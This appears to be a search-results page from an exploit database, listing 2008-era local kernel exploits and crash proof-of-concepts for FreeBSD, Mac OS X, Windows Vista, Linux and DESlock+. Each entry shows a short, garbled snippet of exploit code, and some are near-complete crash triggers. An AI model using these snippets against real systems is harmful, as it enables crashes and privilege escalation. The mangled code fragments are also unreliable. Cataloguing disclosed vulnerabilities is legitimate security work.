213 matches found
FreeBSD 7.0/7.1 (ktimer) Local Kernel Root Exploit-vulnerability warning-the black bar safety net
/ bsd-ktimer. c Copyright c 2 0 0 8 by [email protected] [email protected] FreeBSD = 7.0 local kernel root exploit by christer/mu-b - Mon 2 June 2 0 0 8 - Tested on: FreeBSD 7.0 FreeBSD 7.1 - Private Source Code-DO NOT DISTRIBUTE - http://www.bsdcitizen.org/ -- BSDCITIZEN 2 0 0 8!@$! /...
Mac OS X xnu <=1228.x (vfssysctl) Local Kernel DoS PoC
No description provided by source. / xnu-vfssysctl-dos.c Copyright c 2008 by [email protected] Apple MACOS X xnu = 1228.x local kernel DoS POC by mu-b - Wed 19 Nov 2008 - Tested on: Apple MACOS X 10.5.5 xnu-1228.8.201/RELEASEI386 - Private Source Code -DO NOT DISTRIBUTE -...
FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit
No description provided by source. / FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01 http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc, kokanin@gmail / include kenv.h include stdio.h void main kenvKENVDUMP,NULL,123123123,123123123;...
FreeBSD 7.x (Dumping Environment) Local Kernel Panic Exploit
Exploit for freebsd platform in category dos / poc ============================================================ FreeBSD 7.x Dumping Environment Local Kernel Panic Exploit ============================================================ / FreeBSD 7.x local kernel panic as mentioned in Errata Notice...
Apple Mac OSX xnu 1228.x - vfssysctl Local Kernel Denial of Service (PoC)
Apple Mac OSX xnu 1228.x - vfssysctl Local Kernel Denial of Service PoC / xnu-vfssysctl-dos.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 =...
Mac OS X xnu <= 1228.3.13 (macfsstat) Local Kernel Memory Leak/DoS
Exploit for macOS platform in category dos / poc ================================================================== Mac OS X xnu Apple MACOS X xnu include include include include include include include define LEAKBUFBYTESa sizeof struct statfsa define LEAKMACBYTESa sizeof inta struct macgetfssta...
Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC)
/ xnu-vfssysctl-dos.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 = CTLVFS; name1 = 17; name2 = HFSSETPKGEXTENSIONS; name3 = int buf; name4 =...
Mac OS X xnu <=1228.x (vfssysctl) Local Kernel DoS PoC
Exploit for macOS platform in category dos / poc ====================================================== Mac OS X xnu Apple MACOS X xnu include include include include include include include include void hammer void arg char buf1024 255 + 1; int n, name6; memset buf, 0, sizeof buf; while 1 name0 ...
FreeBSD 7.x - Dumping Environment Local Kernel Panic (Denial of Service)
/ FreeBSD 7.x local kernel panic as mentioned in Errata Notice 09:01 http://security.freebsd.org/advisories/FreeBSD-EN-09:01.kenv.asc, kokanin@gmail / include include void main kenvKENVDUMP,NULL,123123123,123123123; // milw0rm.com 2009-03-23...
Apple Mac OSX xnu 1228.3.13 - macfsstat Local Kernel Memory LeakDenial of Service
Apple Mac OSX xnu 1228.3.13 - macfsstat Local Kernel Memory LeakDenial of Service / xnu-macfsstat-leak.c Copyright c 2008 by Apple MACOS X xnu include include include include include include include define LEAKBUFBYTESa sizeof struct statfsa define LEAKMACBYTESa sizeof inta struct macgetfsstat ch...
Apple MACOS X xnu <= 1228.x Local Kernel Memory Disclosure Exploit
No description provided by source. / xnu-getldt.c Copyright c 2008 by [email protected] Apple MACOS X xnu = 1228.x local kernel memory disclosure by mu-b - Wed 17 Dec 2008 - Tested on: Apple MACOS X 10.5.5 xnu-1228.8.201/RELEASEI386 props to christer who originally found the bug in FreeBSD...
Windows Vista iphlpapi.dll本地内核栈溢出漏洞
BUGTRAQ ID: 32357 Windows Vista是微软发布的最新版本的操作系统。 在使用CreateIpForwardEntry2方式向IPv4路由表添加路由项时，如果对MIBIPFORWARDROW2结构所包含的DestinationPrefix结构中的目标PrefixLength成员传送了大于32的非法值的话，就会破坏内核空间内存，导致随机的蓝屏崩溃。传送的非法值越大，所触发的崩溃就会越快出现。 此外如果使用系统自带的route add命令并在子网掩码中使用了非法值的话，该命令也可以触发相同的缓冲区溢出。 Microsoft Windows Vista Microsof...
Microsoft Windows Vista - iphlpapi.dll Local Kernel Buffer Overflow
Microsoft Windows Vista - iphlpapi.dll Local Kernel Buffer Overflow // source: https://www.securityfocus.com/bid/32357/info // Microsoft Windows Vista is prone to a buffer-overflow vulnerability because of insufficient boundary checks. // Local attackers could exploit this issue to cause...
Linux Kernel < 2.4.36.9/2.6.27.5 Unix Sockets Local Kernel Panic Exploit
No description provided by source. include sys/socket.h include sys/un.h include unistd.h include assert.h include err.h include stdlib.h static int ownchildint us int pid; int s2; struct msghdr mh; char crap1024; struct iovec iov; struct cmsghdr c; int fd; int rc; pid = fork; if pid == -1 err1,...
Linux Kernel 2.4.36.92.6.27.5 - Unix Sockets Local Kernel Panic (Denial of Service)
Linux Kernel 2.4.36.92.6.27.5 - Unix Sockets Local Kernel Panic Denial of Service include include include include include include static int ownchildint us int pid; int s2; struct msghdr mh; char crap1024; struct iovec iov; struct cmsghdr c; int fd; int rc; pid = fork; if pid == -1 err1, "fork"; ...
iSEC Partners Security Advisory - 2008-002-lenovornr - Lenovo Rescue and Recovery 4.20
iSEC Partners Security Advisory - 2008-002-lenovornr https://www.isecpartners.com -------------------------------------------- Lenovo Rescue and Recovery Local Kernel Overflow Vendor: Lenovo Vendor URL: http://www.lenovo.com Versions affected: 4.20 Systems Affected: Windows XP, Windows Vista...
DESlock+ <= 3.2.7 Local Kernel Overflow PoC
No description provided by source. / deslock-overflow.c Copyright c 2008 by [email protected] DESlock+ = 3.2.7 local kernel overflow POC by mu-b - Sat 23 Feb 2008 - Tested on: DLMFENC.sys 1.0.0.28 http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx - I wonder wh...
DESlock+ <= 3.2.7 (probe read) Local Kernel Denial of Service PoC
No description provided by source. / deslock-probe-read.c Copyright c 2008 by [email protected] DESlock+ = 3.2.7 local kernel DoS POC by mu-b - Sat 19 Jul 2008 - Tested on: DLMFENC.sys 1.0.0.28 call to ProbeForRead with a user-definable address that is eventually overwritten should have been...
DESlock+ 3.2.7 - probe read Local Kernel Denial of Service (PoC)
DESlock+ 3.2.7 - probe read Local Kernel Denial of Service PoC / deslock-probe-read.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xC001D00D define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20; ;...
DESlock+ 3.2.7 - Local Kernel Race Condition Denial of Service (PoC)
DESlock+ 3.2.7 - Local Kernel Race Condition Denial of Service PoC / deslock-probe-race.c Copyright c 2008 by DESlock+ include include define DLMFENCIOCTL 0x0FA4204C define DLMFENCFLAG 0xDEADBEEF define ARGSIZEa a-sizeof int2/sizeof void struct ioctlreq int flag; int reqnum; void argARGSIZE0x20; ...